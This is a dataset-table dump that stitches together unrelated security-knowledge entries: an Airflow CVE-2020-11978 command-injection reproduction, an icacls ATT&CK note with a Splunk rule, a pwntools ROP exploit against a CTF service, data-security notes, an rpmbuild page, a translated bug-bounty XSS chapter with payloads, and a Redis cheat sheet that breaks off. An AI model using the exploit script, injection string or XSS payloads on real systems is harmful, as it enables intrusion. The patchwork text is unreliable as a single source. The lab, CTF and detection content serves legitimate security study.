text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Apache Airflow 示例dag中的命令注入(CVE-2020-11978)
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。
参考链接:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/pberba/CVE-2020-11978>
## 漏洞环境
依次执行如下命令启动airflow 1.10.10:
```bash
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
```
## 漏洞复现
访问`http://your-ip:8080`进入airflow管理端,将`example_trigger_target_dag`前面的Off改为On:

再点击执行按钮,在Configuration JSON中输入:`{"message":"'\";touch /tmp/airflow_dag_success;#"}`,再点`Trigger`执行dag:

等几秒可以看到执行成功:

到CeleryWorker容器中进行查看:
```bash
docker compose exec airflow-worker ls -l /tmp
```
可以看到`touch /tmp/airflow_dag_success`成功被执行:

|
sec-knowleage
|
# T1222-001-win-文件权限修改
## 来自ATT&CK的描述
文件和目录权限通常由文件或目录所有者指定的任意访问控制列表(DACL)管理。文件和目录DACL的实现因平台而异,但通常会明确指定它们,以便用户/组可以执行操作,例如读取,写入,执行等。
攻击者可以修改文件或目录的权限或属性,以逃避预期的DACL。修改可能包括更改特定的访问权限,这可能需要获取文件或目录的所有权或提升的权限(例如Administrator/root),具体取决于文件或目录的现有权限以启用恶意活动,例如修改,替换或删除特定文件目录。特定文件和目录修改可能是许多技术所必需的步骤,例如,通过可访问性功能,登录脚本建立持久性,或污染、劫持其他工具二进制配置文件。
## 测试案例
Icacls 是一种命令行工具,它显示或修改指定文件上的随机访问控制列表 (DACL),并将存储的 DACL 应用于指定目录中的文件。Icacls.exe替换了Cacls.exe 工具用于查看和编辑DACL。ICACLS是Windows Server 2003 SP2中CACLS工具的升级版本,可用于从恢复控制台重设文件中的帐户控制列表 (ACL) 以及备份ACL。与CACLS不同的是,ICACLS可以正确地传送对继承的ACL的更改和创建。有ICACLS的使用及命令的更多信息,可以通过在命令提示符下运行“icacls /?”进行访问。这里的I应该是Improved upgrade of cacls.
## 检测日志
windows security
windows sysmon
## 测试复现
命令行工具,你需要在cmd或powershell中调用它。
```yml
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\Administrator>icacls
ICACLS name /save aclfile [/T] [/C] [/L] [/Q]
将匹配名称的文件和文件夹的 DACL 存储到 aclfile 中以便将来与
/restore 一起使用。请注意,未保存 SACL、所有者或完整性标签。
ICACLS directory [/substitute SidOld SidNew [...]] /restore aclfile
[/C] [/L] [/Q]
将存储的 DACL 应用于目录中的文件。
ICACLS name /setowner user [/T] [/C] [/L] [/Q]
更改所有匹配名称的所有者。该选项不会强制更改所有身份;
使用 takeown.exe 实用程序可实现该目的。
ICACLS name /findsid Sid [/T] [/C] [/L] [/Q]
查找包含显式提及 SID 的 ACL 的所有匹配名称。
ICACLS name /verify [/T] [/C] [/L] [/Q]
查找其 ACL 不规范或长度与 ACE 计数不一致的所有文件。
ICACLS name /reset [/T] [/C] [/L] [/Q]
为所有匹配文件使用默认继承的 ACL 替换 ACL。
ICACLS name [/grant[:r] Sid:perm[...]]
[/deny Sid:perm [...]]
[/remove[:g|:d]] Sid[...]] [/T] [/C] [/L]
[/setintegritylevel Level:policy[...]]
/grant[:r] Sid:perm 授予指定的用户访问权限。如果使用 :r,
这些权限将替换以前授予的所有显式权限。
如果不使用 :r,这些权限将添加到以前授予的所有显式权限。
/deny Sid:perm 显式拒绝指定的用户访问权限。
将为列出的权限添加显式拒绝 ACE,
并删除所有显式授予的权限中的相同权限。
/remove[:[g|d]] Sid 删除 ACL 中所有出现的 SID。使用
:g,将删除授予该 SID 的所有权限。使用
:d,将删除拒绝该 SID 的所有权限。
/setintegritylevel [(CI)(OI)] 级别将完整性 ACE 显式添加到所有
匹配文件。要指定的级别为以下级别之一:
L[ow]
M[edium]
H[igh]
完整性 ACE 的继承选项可以优先于级别,但只应用于
目录。
/inheritance:e|d|r
e - 启用继承
d - 禁用继承并复制 ACE
r - 删除所有继承的 ACE
注意:
Sid 可以采用数字格式或友好的名称格式。如果给定数字格式,
那么请在 SID 的开头添加一个 *。</p> <p> /T 指示在以该名称指定的目录下的所有匹配文件/目录上
执行此操作。ICACLS 保留 ACE 项的规范顺序:
显式拒绝
显式授予
继承的拒绝
继承的授予
perm 是权限掩码,可以两种格式之一指定:
简单权限序列:
N - 无访问权限
F - 完全访问权限
M - 修改权限
RX - 读取和执行权限
R - 只读权限
W - 只写权限
D - 删除权限
在括号中以逗号分隔的特定权限列表:
DE - 删除
RC - 读取控制
WDAC - 写入 DAC
WO - 写入所有者
S - 同步
AS - 访问系统安全性
MA - 允许的最大值
GR - 一般性读取
GW - 一般性写入
GE - 一般性执行
GA - 全为一般性
RD - 读取数据/列出目录
WD - 写入数据/添加文件
AD - 附加数据/添加子目录
REA - 读取扩展属性
WEA - 写入扩展属性
X - 执行/遍历
DC - 删除子项
RA - 读取属性
WA - 写入属性
继承权限可以优先于每种格式,但只应用于
目录:
(OI) - 对象继承
(CI) - 容器继承
(IO) - 仅继承
(NP) - 不传播继承
(I) - 从父容器继承的权限
示例:
icacls c:\windows\* /save AclFile /T
- 将 c:\windows 及其子目录下所有文件的
ACL 保存到 AclFile。
icacls c:\windows\ /restore AclFile
- 将还原 c:\windows 及其子目录下存在的 AclFile 内
所有文件的 ACL。
icacls file /grant Administrator:(D,WDAC)
- 将授予用户对文件删除和写入 DAC 的管理员权限。
icacls file /grant *S-1-1-0:(D,WDAC)
- 将授予由 sid S-1-1-0 定义的用户对文件删除和写入 DAC 的权限。
```
## 测试留痕
暂无
## 检测规则/思路
监视并调查修改ACL和文件或目录所有权的尝试。许多用于修改ACL和文件/目录所有权的命令是内置的系统实用程序,并且可能会产生很高的误报率,因此,请与基准知识进行比较,以了解通常如何使用系统并将修改事件与其他恶意活动指示相关联在可能的情况。
考虑对包含关键二进制文件/配置文件的文件夹启用文件/目录权限更改审核。例如,修改DACL时会创建Windows安全日志事件(事件ID 4670)
### splunk规则
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image IN (“*\\icacls.exe” , “*\\takeown.exe” , “*\\attrib.exe”)) OR (EventCode=1 CommandLine=”*/grant*”) //File and Folder permission modification
```
### 建议
如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。
## 相关TIP
[[T1222-001-win-fltmc卸载筛选器驱动程序]]
[[T1222-002-linux-文件权限修改]]
## 参考推荐
MITRE-ATT&CK-T1222-001
<https://attack.mitre.org/techniques/T1222/001/>
windows中使用icacls命令还原文件夹的权限设置
<https://www.jb51.net/os/windows/155450.html>
|
sec-knowleage
|
from pwn import *
import re
import time
context.log_level = "DEBUG"
context.arch='amd64'
HOST = "localhost"
PORT = 1337
HOST = "pwn01.grandprix.whitehatvn.com"
PORT = 26129
r = remote(HOST,PORT)
data = r.recvuntil("name plzz ??")
base = re.findall(r"0x[0-9a-f]+",data)[0]
base = base[2:]
base = int(base,16) - 0x2030d8
print hex(base)
r.sendline("1111")
r.recvuntil("name plzz:")
r.sendline("2222")
r.recvuntil(" choice:")
#gdb.attach("giftshop", gdbscript="bp 0x55555555609C\nc")
payload = "1\x00"+"a"*22
FLAG_PATH = "/home/gift/flag.txt"
SYMLINK_PATH = "/home/gift/oqweqwe"
DATA_ADDR = 0x203200 + base
FLAG_PATH_ADDR = DATA_ADDR
SYMLINK_PATH_ADDR = FLAG_PATH_ADDR + len(FLAG_PATH) + 1
#read(stdin, FLAG_PATH_ADDR, bignum)
payload += p64(0x0000000000002267 + base) #: pop rax; ret;
payload += p64(constants.SYS_read)
payload += p64(0x000000000000225f + base) #: pop rdi; ret;
payload += p64(0x0) #fildes
payload += p64(0x0000000000002261 + base) #: pop rsi; ret;
payload += p64(FLAG_PATH_ADDR)
payload += p64(0x0000000000002265 + base) #: pop rdx; ret;
payload += p64(len(FLAG_PATH)+1)
payload += p64(0x0000000000002254 + base) # syscall; ret;
#openat(100, FLAG_PATH_ADDR, 0)
payload += p64(0x0000000000002267 + base) #: pop rax; ret;
payload += p64(constants.SYS_openat)
payload += p64(0x000000000000225f + base) #: pop rdi; ret;
payload += p64(0x100) #fildes
payload += p64(0x0000000000002261 + base) #: pop rsi; ret;
payload += p64(FLAG_PATH_ADDR)
payload += p64(0x0000000000002265 + base) #: pop rdx; ret;
payload += p64(0x0)
payload += p64(0x0000000000002254 + base) # syscall; ret;
#read(6, DATA_ADR, 0x9999)
payload += p64(0x0000000000002267 + base) #: pop rax; ret;
payload += p64(constants.SYS_read)
payload += p64(0x000000000000225f + base) #: pop rdi; ret;
payload += p64(0x4) #fildes
payload += p64(0x0000000000002261 + base) #: pop rsi; ret;
payload += p64(DATA_ADDR)
payload += p64(0x0000000000002265 + base) #: pop rdx; ret;
payload += p64(0x9999)
payload += p64(0x0000000000002254 + base) # syscall; ret;
#write(1, DATA_ADR, 0x1000)
payload += p64(0x0000000000002267 + base) #: pop rax; ret;
payload += p64(constants.SYS_write)
payload += p64(0x000000000000225f + base) #: pop rdi; ret;
payload += p64(0x1) #fildes
payload += p64(0x0000000000002261 + base) #: pop rsi; ret;
payload += p64(DATA_ADDR)
payload += p64(0x0000000000002265 + base) #: pop rdx; ret;
payload += p64(0x100)
payload += p64(0x0000000000002254 + base) # syscall; ret;
r.send(payload+"\n")
r.send(FLAG_PATH+"\x00")
#time.sleep(1)
print r.recv()
print r.recv()
r.close()
|
sec-knowleage
|
# 数据驱动安全入门概览
此内容是Nepnep成员 peony师傅的一次[每周分享](https://www.bilibili.com/video/av242765993?share_medium=android&share_source=qq&bbid=XY87FB98D9B5624227EFE69449AF69C1CD337&ts=1587305411490)[1]简单笔记,感谢师傅~
> “数据驱动安全的本质是一种高层次、跨学科的自动化手段,其内涵包括了数据分析、人工智能、大数据、云计算等等。数据分析技术作为一种重要的自动化手段,必然会消灭掉一部分简单、重复工作内容,进一步提高行业从业人员的进入门槛。在未来可以预期的很长一段时间内,数据分析都将是安全工程师和研究人员的有力工作助手。”
## 安全数据分析能力图
从数据中提取知识,辅助解决安全问题
- Hacking Skills
- Math & Statistics knowledge
- Substantive Expertise(先验专家经验)

图:安全数据分析能力图
## 安全数据分析落地情况
给予历史经验样本下的拟合学习
基于知识的对抗
### 文本内容监测
- WAF
- WebShell检测
- 二进制病毒检测
- 网页敏感内容检测
- 明码流量检测
### 简单统计和假设检验
- 暴力破解攻击检测
- 异地登录检测
- 真实入侵证据发现
### 时序建模和时序异常监测算法
- DDoS
- CC
- 定点API接口爆破检测
### 相似性匹配算法
- 缺乏可解释性,目前更多用于辅助专家决策
## 安全数据学习概览
### 方法论
**问题——数据——特征——模型**

图:机器学习方法论
#### 问题
安全问题抽象
#### 数据
数据采集
#### 特征
特征工程
#### 模型
模型构建
效果评估
### ML Workflow

图:ML Workflow
### 目标
#### 更快、更全、更准

图:安全数据分析的目标
### 安全问题抽象
#### 分类、聚类、降维

#### 扩展
减少误报率的方法:基于业务来减少误报率。对不同业务场景下,对单一的业务逐个进行进行验证,不断将误报的样本送回进行训练,从而降低误报率
### 数据挖掘
**安全数据来源、安全数据类型**
最优数据量:多到特征明显,少到几乎无噪音干扰

图:数据挖掘
### 数据清洗

图:数据清洗
### 特征工程
#### 过滤、封装、嵌入

### 模型
#### 数据脚本小子

#### 策略选择
白名单策略:找到正常行为——建立pattern(模式)——滤出异常
- 业务改变时,需要重新进行聚类
- 无监督聚类的效果还没有达到有监督的好,容易尝试误报
黑名单策略:原始日志或异常——分类器——识别威胁

图:常用的两种策略
## 案例
### 两个角度
对抗:对深度学习的逃逸攻击
防护:HTTP恶意外连流量的机器学习检测
### 案例一
对深度学习的逃逸攻击

参考:https://blogs.360.cn/post/evasion-attacks-on-ai-system.html
### 案例二
HTTP恶意外连流量的机器学习检测

图:论文概要和笔记

图:控制协议模板的生成

图:主要的流程示意图
泛化其实就是用来进行数据降维的一种方式

图:上图的泛化部分示意
## Reference
[1] 【每周分享】数据驱动安全入门概览,Nepnep战队,https://www.bilibili.com/video/BV1ye411W7xn
|
sec-knowleage
|
rpmbuild
===
创建RPM的二进制软件包和源码软件包
## 补充说明
**rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。
### 语法
```shell
rpmbuild(选项)
```
### 选项
```shell
--initdb:初始化RPM数据库;
--rebuilddb:从已安装的包头文件,方向重建RPM数据库;
-ba:创建二进制和源代码包;
-bb:创建二进制代码包;
-bs:创建源代码包。
```
### 实例
```shell
rpmbuild -ba 'spec文件路径'
```
build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。
|
sec-knowleage
|
# 十、跨站脚本攻击
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
跨站脚本,或者 XSS,涉及到站定包含非预期的 JavaScript 脚本代码,它随后传给用于,用户在浏览器中执行了该代码。它的一个无害示例为:
```js
alert('XSS');
```
这会调用 JavaScript 函数`alert`,并创建一个简单的弹出窗口,带有文本`XSS`。现在,在这本书的前一个版本中,我推荐你在报告中使用这个例子。但是,一个非常成功的黑客告诉我这是个糟糕的例子,因为漏洞的接收者通常没有意识到这个问题的严重性,并且可能由于无害的示例而得到较低的奖金。
所以,考虑到这种情况,使用示例开判断 XSS 是否存在,但是报告时,考虑漏洞如何影响站点,并解释它。通过这样,我并不是告诉厂商什么事 XSS,而是解释你可以使用它做什么事,来影响他们的站点。
这应该包含识别你报告了何种 XSS,它们包括:
+ 反射型 XSS:这些攻击并不是持久的,意思是 XSS 传递后通过简单的请求和响应执行。
+ 存储型 XSS:这些攻击是持久的,或已保存,之后在页面加载时执行给无意识的用户。
+ Self XSS:这些攻击也不是持久的,通常作为戏弄用户的一部分,使它们自己执行 XSS。
当你搜索漏洞时,你会经常发现,厂商不关心 Self XSS,它们只关心,它们的用户是否自身存在缺陷,就像反射和存储 XSS 的例子那样。但是,这并不是说,你应该完全忽略 Self XSS。
如果你发现了一个场景,其中 Self XSS 可以执行,但是不会存储,你需要考虑该漏洞是否可以利用,是否有些东西可以结合起来,使其不再是 Self XSS?
最著名的 XSS 利用示例之一,就是 Samy Kamkar 执行的 MySpace Samy 蠕虫。在 2005 年 10 月,Samy 利用了一个 MySpace 上的存储型 XSS 漏洞,允许它上传 JavaScript 脚本。这个代码随后在任何人浏览它的 MySpace 主页时执行,因此使任何 Samy 用户资料的浏览者成为其好友。但是,更多的是,这个代码也复制其自身到 Samy 新朋友的页面,所以受感染页面的浏览者使用下面这段话更新了它们的资料页面:“but most of all, samy is my hero”(最重要的是,Samy 是我的英雄)。
虽然 Samy 的利用并不完全是恶意的,XSS 利用使其能够盗取用户、密码、银行信息以及其他。虽然具有潜在的影响,修复 XSS 漏洞通常很简单,只需要软件开发者在渲染时转义用户输入(就像 HTML 注入那样)。在攻击者提交它们的时候,一些站点也会截断可能的恶意字符。
> 链接
> 查看 [OWASP XSS 过滤器绕过速查表](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)。
## 示例
### 1\. Shopify Wholesale
难度:低
URL:` wholesale.shopify.com `
报告链接:`https://hackerone.com/reports/106293`
报告日期:2015.12.21
奖金:$500
描述:
Shopify Wholesale 站点是一个简单的页面,拥有不同的操作调用 -- 输入商品名称并且点击“搜索商品”,这里是截图:

Shopify Wholesale 站点截图
这里的 XSS 漏洞是你可以找到的最基本的漏洞 - 输入到搜索框中的文本并没有转移,所以任何输入的 JavaScript 都会执行。这里是漏洞披露中的提交文本:`test’;alert(‘XSS’);’ `。
它生效的原因是,Shopify 接收用户输入,执行搜索查询,当没有结果返回时,Shopify 会打印一条消息,说该名称下没有找到任何商品,之后重新打印出用户输入,而没有任何转义。因此,提交的 JavaScript 打印到了页面上,浏览器将其解释为 JavaScript 并执行。
> 重要结论
> 测试任何东西,特别要关注一些场景,其中你所输入的文本渲染给了你。测试来判断你是否可以包含 HTML 或者 JavaScript,来观察站点如何处理它。同时尝试编码输入,就像在 HTML 注入一章中描述的那样。
> XSS 漏洞并不需要很复杂。这个漏洞是你能找到的最基本的东西 - 一个简单的输入文本字段,这个漏洞并不处理用户输入。它在 2015 年 12 月 21 日发现,并获得了 $500 的奖金。它所需要的所有东西,就是黑客的思维。
### 2\. Shopify 礼品卡购物车
难度:低
URL:` hardware.shopify.com/cart `
报告链接:`https://hackerone.com/reports/95089`
报告日期:2015.10.21
奖金:$500
描述:
Shopify 礼品卡站点允许用户使用 HTML 表单设计它们自己的礼品卡,具体来说,这包括一个上传输入框,一些文本框,以及其他。这里是一个截图:

Shopify 礼品卡表单截图
这里的 XSS 漏洞在 JavaScript 输入到了表单图像名称字段时出现。在使用 HTML 代理完成之后,会出现一个不错的简单任务。所以这里,原始的表单提交会包含:
```
Content-Disposition: form-data; name="properties[Artwork file]"
```
这会被解释和修改为:
```
Content-Disposition: form-data; name="properties[Artwork file<img src='test' onm\ ouseover='alert(2)'>]";
```
> 重要结论
> 这里有两个东西要注意,这会在寻找 XSS 漏洞时帮助你:
> 1. 这里的漏洞实际上并不在文件输入字段本身 -- 它在字段的名称属性中。所以当你寻找 XSS 漏洞的机会时,要记住玩转所有可用的输入值。
> 2. 这里的值在通过代理操作之后提交。在一些场景中这是关键,其中在任何值实际提交给服务器之前,客户端(你的浏览器)可能存在 JavaScript 来验证值。
> **实际上,任何时候你看到验证实时发生在你的浏览器中,这都是一个信号,你需要测试这个字段!**开发者可能犯下这个错误,一旦这些值提交给了服务器,它们不验证提交的值是否存在恶意代码,因为它们认为浏览器的 JavaScript 代码已经在输入接收之前验证过了。
### 3\. Shopify 货币格式
难度:低
URL:`SITE.myshopify.com/admin/settings/generalt `
报告链接:`https://hackerone.com/reports/104359`
报告日期:2015.12.9
奖金:$1000
描述:
Shopify 的商店设置包含修改货币格式的功能。在 12 月 9 日,有报告称,这些输入框的值在建立社交媒体页面时,没有合理处理。
换句话说,恶意用户可以建立一个商店,并将货币设置修改为下面这个:

Shopify 货币格式截图
之后,用户就可以开启社交媒体售卖频道。报告中的例子是 Fackbook 和 Twitter,以及当用户点击这个售卖频道的选项卡之后,JavaScript 会执行,产生 XSS 漏洞。
> 重要结论
> XSS 漏洞在 JavaScript 文本不安全渲染时产生。文本可能用于站点的多个位置,所以每个位置都应该测试。这里,Shopify 并没有在商店和收款页面包含 XSS,因为用户允许在它们的商店中使用 JavaScript。在考虑字段是否用于外部社交媒体站点之前,很容易把这个漏洞补上。
### 4\. 雅虎邮件存储型 XSS
难度:低
URL:Yahoo Mail
报告链接:`https://klikki.fi/adv/yahoo.html`
报告日期:2015.12.26
奖金:$10000
描述:
雅虎邮件编辑器允许人们将图片通过 HTML IMG 标签嵌入到邮件中。这个漏洞在 HTML IMG 标签格式错误或者无效时出现。
多数 HTML 标签接受属性,它是有关 HTML 标签的额外信息。例如,IMG 标签接受`src`属性,指向要渲染的图像的地址。此外一些属性是布尔属性,意思是如果他们存在,他们在 HTML 表现为真值,而当他们被忽略时,他们表现为假值。
对于这个漏洞,Jouko Pynnonen 发现,如果它将布尔属性添加到 HTML 标签中,并带有一个值,雅虎邮件就会移除该值但保留等号。这里是来自`Klikki.fi`的一个例子:
```html
<INPUT TYPE="checkbox" CHECKED="hello" NAME="check box">
```
这里,输入标签可能包含`checked`属性,表示复选框是否渲染为选中。根据上面描述的歇息,这会变成:
```html
<INPUT TYPE="checkbox" CHECKED= NAME="check box">
```
要注意 HTML 从拥有`checked`值变成了没有值但是仍然包含等号。
这看起来是无害的,但是根据 HTML 规范,浏览器将这个`CHECKED`看做拥有值`NAME=”check`,并且该`input`标签有用第三个属性`box`,它没有值。这是对于没有引号的属性值,因为 HTML 允许零个或多个空格字符在等号周围。
为了利用它,Jouko 提交了下面的 IMG 标签:
```html
<img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;left:0px;top:0px; onmouseover=alert(/XSS/)//'>
```
雅虎邮件会把它变成:
```html
<img ismap=itemtype=yyy style=width:100%;height:100%;position:fixed;left:0px;top:0px; onmouseover=alert(/XSS/)//>
```
因此,浏览器会渲染 IMG 标签,它占据整个浏览器的窗口,当鼠标移到图片上的时候,会执行 JavaScript。
> 重要结论
> 传递格式错误或损坏的 HTML 是个不错的方法,来测试站点如何解析输入。作为一个黑客,考虑到开发者没有考虑的东西十分重要。例如,使用常规的图片标签,如果你传递两个`src`属性会怎么样?它会如何渲染?
### 5\. Google 图片搜索
难度:中
URL:` images.google.com `
报告链接:`http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html`
报告日期:2015.9.12
奖金:未知
描述:
2015 年 9 月,Mahmoud Jamal 使用 Google 图像来为它的 HackerOne 资料寻找一个图片。在浏览的时候,它注意到 Google 图片的 URL 中有一些有趣的东西。
```
http://www.google.com/imgres?imgurl=https://lh3.googleuser.com/...
```
注意到实际的 URL 中存在 `imgurl`的引用。在鼠标移到缩略图上的时候,Mahoumd 注意到了锚标签的`href`属性包含了相同的 URL。因此,它尝试将参数改为` javascript:alert(1)`,并且注意到锚标签的`href`也改为了相同值。
它这个时候非常激动,点击了链接,但是没有执行 JavaScript,因为 Google URL 改为了别的东西。结果,Google 的代码在鼠标按下时,通过`onmousedown` JavaScript 回调修改了 URL。
考虑到这个,Mahmoud 决定使用它的键盘,尝试使用 TAB 键在页面上切换。当他来到`View Image`按钮时,触发了 JavaScript,产生了 XSS 漏洞。这里是图片:

Google XSS 漏洞
> 重要结论
> 始终留意这种漏洞。很轻易就能假设,仅仅由于公司太大或者太知名,任何东西都被找到了。但是,公司始终会修改代码。
> 此外,有大量方法来执行 JavaScript,这里在看到 Google 使用`onmousedown`事件处理器修改值之后,很容易就放弃了。这意味着任何时候使用鼠标点击了链接,值都会改变。
### 6\. Google Tagmanager 存储型 XSS
难度:中
URL:`tagmanager.google.com`
报告链接:`https://blog.it-securityguard.com/bugbounty-the-5000-google-xss`
报告日期:2014.10.31
奖金:$5000
描述:
2014 年 10 月,Patrik Fehrehbach 在 Google 上发现了存储型 XSS 漏洞。这个报告的有趣部分是,他如何设法绕过 Google 获取载荷。
Google Tagmanager 是一个 SEO 工具,使营销人员添加和更新站点标签变得容易 -- 包含转化追踪、站点分析、重营销、以及更多。为此,它拥有大量的表单,便于用户交互。所以,Patrik 以尝试将 XSS 载荷输入到表单字段中开始,类似于`#>imgsrc=/ onerror=alert(3)>`。如果接受了,这就会闭合现有的 HTML `>`,之后尝试加载不存在的图片,这会执行`onerror` JavaScript,`alert(3)`。
但是,这没有效果。Google 合理处理了输入。Patrik 注意到了一个替代方案 -- Google 提供了上传带有多个标签的 JSON 文件的功能。所以,它下载了样例并上传:
```json
"data": {
"name": "#"><img src=/ onerror=alert(3)>",
"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {
"varType": "HISTORY_NEW_URL_FRAGMENT"
}
}
```
这里,你会注意到,标签的名称就是他的 XSS 载荷。结果,Google 没有处理来自上传文件的输入,并执行了载荷。
> 重要结论
> 这里有两个有趣的事情。首先Patrik 发现了替代方案来提供输入 -- 要留意这个东西,并测试目标提供的所有方法来输入数据。其次,Google 处理了输入,但是在渲染时没有转义。假设它转义了 Patrik 的输入,载荷就不会生效,因为 HTML 会被转换成无害的字符。
## 总结
XSS 漏洞对站点开发者展现了真实的风险,并且仍然在站点上流行,通常显而易见。通常简单提交 JavaScript `alert`方法的调用,`alert('test')`,你可以检查输入字段是否存在漏洞。此外,你可以将它与 HTML 注入组合,并提交 ASCII 编码的字符来观察文本是否被渲染和解释。
在搜索 XSS 漏洞时,这里是要记住的一些事情:
1. 测试任何东西
无论你在浏览什么站点以及什么时候浏览,总是要保持挖掘!不要觉得站点太大或者太复杂,而没有漏洞。机会正在注视着你并请求你的测试,就像`wholesale.shopify.com`那样。Google Tagmanager 存储型 XSS 漏洞就是寻找替代方案来向站点添加标签的结果。
2. 漏洞可能存在于任何表单值
例如,Shopify 的礼品卡站点上的漏洞,通过利用和上传文件相关的名称字段来时间,并不是实际的文件字段本身。
3. 总是在测试时使用 HTML 代理
当你尝试提交来自网站自身的恶意值时,当站点的 JavaScript 检查出你的非法值时,你可能会碰到假阳性。不要浪费你的时间。通过浏览器提供合法值,之后使用你的代理修改这些值来执行 JavaScript 并且提交。
> 译者注:对于所有前端(包括移动和桌面)渗透,都应该这样。就算不存在 XSS,也有可能挖到绕过和越权漏洞。
4. XSS 漏洞发生在渲染的时候
由于 XSS 在浏览器渲染文本时发生,要确保复查了站点的所有地方,其中使用了你的输入值。逆天家的 JavaScript 可能不会立即渲染,但是会出现在后续的页面中。这非常麻烦,但是你要留意站点何时过滤输入,以及转义输出。如果是前者,寻找办法来绕过输入过滤器,因为开发者可能会犯懒,并且不会转义渲染的输入。
5. 测试非预期的值
不要总是提供预期类型的值。当 HTML 雅虎邮件的漏洞被发现时,提供了非预期的 HTML IMG 属性。要跳出思维定式,思考开发者要寻找什么,并且之后尝试提供一些不匹配这些预期的东西。这包含寻找新的方式来执行潜在的 JavaScript,例如绕过 Google 图片的`onmousemove`事件。
|
sec-knowleage
|
---
title: Redis
background: bg-[#c13b2c]
tags:
- cache
categories:
- Database
date: 2020-12-26 19:33:15
intro: |
This is a [redis](https://redis.io/) quick reference cheat sheet that lists examples of redis commands
plugins:
- copyCode
---
Getting Started
---------------
### Getting started
Start Redis
```shell script
$ redis-server
```
Connect to redis (Redis CLI client)
```shell script
$ redis-cli
```
Connect to redis (telnet)
```shell script
$ telnet 127.0.0.1 6379
```
### Hello World
#### Ping
```shell script
redis> PING
PONG
```
#### Hello World
```shell script
redis> SET mykey "Hello world"
OK
redis> GET mykey
"Hello world"
```
### Basic Data types
- [Strings](#redis-string-command)
- [Lists](#redis-list-command)
- [Hashes](#redis-hash-command)
- [Sets](#redis-set-command)
- [Sorted Sets](#redis-sorted-set-command)
Redis supports 5 basic data types
Redis String command{.cols-3}
------------
### APPEND
``` {.wrap}
APPEND key value
```
#### Example
```shell script
redis> EXISTS mykey
(integer) 0
redis> APPEND mykey "Hello"
(integer) 5
redis> APPEND mykey " World"
(integer) 11
redis> GET mykey
"Hello World"
```
Append a value to a key
### BITCOUNT
``` {.wrap}
BITCOUNT key [start end]
```
#### Example
```shell script
redis> SET mykey "foobar"
"OK"
redis> BITCOUNT mykey
(integer) 26
redis> BITCOUNT mykey 0 0
(integer) 4
redis> BITCOUNT mykey 1 1
(integer) 6
```
Count set bits in a string
### BITFIELD
``` {.wrap}
BITFIELD key [GET type offset] [SET type offset value] [INCRBY type offset increment] [OVERFLOW WRAP|SAT|FAIL]
```
#### Example
```shell script
redis> BITFIELD mykey INCRBY i5 100 1 GET u4 0
1) (integer) 1
2) (integer) 0
```
Perform arbitrary bitfield integer operations on strings
### BITOP
``` {.wrap}
BITOP operation destkey key [key ...]
```
#### Example
```shell script
redis> SET key1 "foobar"
"OK"
redis> SET key2 "abcdef"
"OK"
redis> BITOP AND dest key1 key2
(integer) 6
redis> GET dest
"`bc`ab"
```
Perform bitwise operations between strings
### BITPOS
``` {.wrap}
BITPOS key bit [start] [end]
```
#### Example
```shell script
redis> SET mykey "\xff\xf0\x00"
"OK"
redis> BITPOS mykey 0
(integer) 12
redis> SET mykey "\x00\xff\xf0"
"OK"
redis> BITPOS mykey 1 0
(integer) 8
redis> BITPOS mykey 1 2
(integer) 16
redis> set mykey "\x00\x00\x00"
"OK"
redis> BITPOS mykey 1
(integer) -1
```
Find first bit set or clear in a string
### DECR
``` {.wrap}
DECR key
```
#### Example
```shell script
redis> SET mykey "10"
"OK"
redis> DECR mykey
(integer) 9
redis> SET mykey "234293482390480948029348230948"
"OK"
redis> DECR mykey
ERR ERR value is not an integer or out of range
```
Decrement the integer value of a key by one
### DECRBY
``` {.wrap}
DECRBY key decrement
```
#### Example
```shell script
redis> SET mykey "10"
"OK"
redis> DECRBY mykey 3
(integer) 7
```
Decrement the integer value of a key by the given number
### GET
``` {.wrap}
GET key
```
#### Example
```shell script
redis> GET nonexisting
(nil)
redis> SET mykey "Hello"
"OK"
redis> GET mykey
"Hello"
```
Get the value of a key
### GETBIT
``` {.wrap}
GETBIT key offset
```
#### Example
```shell script
redis> SETBIT mykey 7 1
(integer) 0
redis> GETBIT mykey 0
(integer) 0
redis> GETBIT mykey 7
(integer) 1
redis> GETBIT mykey 100
(integer) 0
```
Returns the bit value at offset in the string value stored at key
### GETRANGE
``` {.wrap}
GETRANGE key start end
```
#### Example
```shell script
redis> SET mykey "This is a string"
"OK"
redis> GETRANGE mykey 0 3
"This"
redis> GETRANGE mykey -3 -1
"ing"
redis> GETRANGE mykey 0 -1
"This is a string"
redis> GETRANGE mykey 10 100
"string"
```
Get a substring of the string stored at a key
### GETSET
``` {.wrap}
GETSET key value
```
#### Example
```shell script
redis> INCR mycounter
(integer) 1
redis> GETSET mycounter "0"
"1"
redis> GET mycounter
"0"
```
Set the string value of a key and return its old value
### INCR
``` {.wrap}
INCR key
```
#### Example
```shell script
redis> SET mykey "10"
"OK"
redis> INCR mykey
(integer) 11
redis> GET mykey
"11"
```
Increment the integer value of a key by one
### MSETNX
``` {.wrap}
MSETNX key value [key value ...]
```
#### Example
```shell script
redis> MSETNX key1 "Hello" key2 "there"
(integer) 1
redis> MSETNX key2 "new" key3 "world"
